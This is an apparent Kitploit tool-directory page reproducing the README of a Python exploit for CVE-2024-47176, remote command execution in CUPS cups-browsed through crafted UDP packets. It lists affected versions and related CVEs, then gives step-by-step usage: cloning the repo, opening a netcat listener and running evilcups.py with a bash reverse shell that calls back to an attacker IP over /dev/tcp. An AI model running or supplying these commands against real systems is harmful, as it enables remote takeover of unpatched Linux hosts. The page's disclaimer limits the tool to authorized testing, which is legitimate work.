Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-47176 — Python exploit for CVE-2024-47176 achieving remote command execution in CUPS cups-browsed via crafted UDP packets. Includes reverse shell payload delivery for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/gumerzzzindo/cve-2024-47176
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubgumerzzzindo/cve-2024-47176

CVE-2024-47176

Python exploit for CVE-2024-47176 achieving remote command execution in CUPS cups-browsed via crafted UDP packets. Includes reverse shell payload delivery for authorized penetration testing.

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-47176 — Remote Command Execution in CUPS

CVE CVSS Python Platform License

For educational and authorized penetration testing purposes only.


Table of Contents

  • Description
  • Affected Systems
  • Related CVEs
  • Prerequisites
  • Setup
  • Usage
  • Disclaimer

Description

CUPS (Common UNIX Printing System) is an open-source printing system that manages networked printers. CVE-2024-47176 targets the daemon, which binds to and blindly trusts packets from any source.

cups-browsed
INADDR_ANY:631

By crafting a malicious UDP packet that triggers a Get-Printer-Attributes IPP request, an attacker can cause cups-browsed to connect to an attacker-controlled server — and when combined with the vulnerabilities below, achieve arbitrary remote command execution.


Affected Systems

ComponentCondition
cups-browsedListening on UDP 631 (default)
CUPS < 2.4.11Unpatched versions
Linux systems with CUPS exposedPort 631 reachable from attacker

Related CVEs

CVEDescription
CVE-2024-47176cups-browsed trusts any UDP packet on port 631
CVE-2024-47076libcupsfilters doesn't sanitize IPP attributes
CVE-2024-47175libppd injects unsanitized data into PPD files
CVE-2024-47177cups-filters allows command execution via PPD

Prerequisites

  • Target machine with port 631 (IPP/UDP) exposed
  • Python 3.x on your attack machine
  • nmap (optional, for recon)
  • A netcat listener for the reverse shell

Setup

1. Clone the repository:

root@kitploit:~
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176

2. Install the required Python dependency:

root@kitploit:~
pip install ippserver

3. Start a listener on your machine:

root@kitploit:~
nc -lvnp <PORT>

Usage

root@kitploit:~
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"

Example — reverse shell:

root@kitploit:~
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"

After running the exploit, trigger a print job on the target (or wait for an automatic check) to execute the payload.


Disclaimer

This repository is intended solely for educational purposes and authorized security research. Using this tool against systems you do not own or have explicit written permission to test is illegal and unethical

Download Tool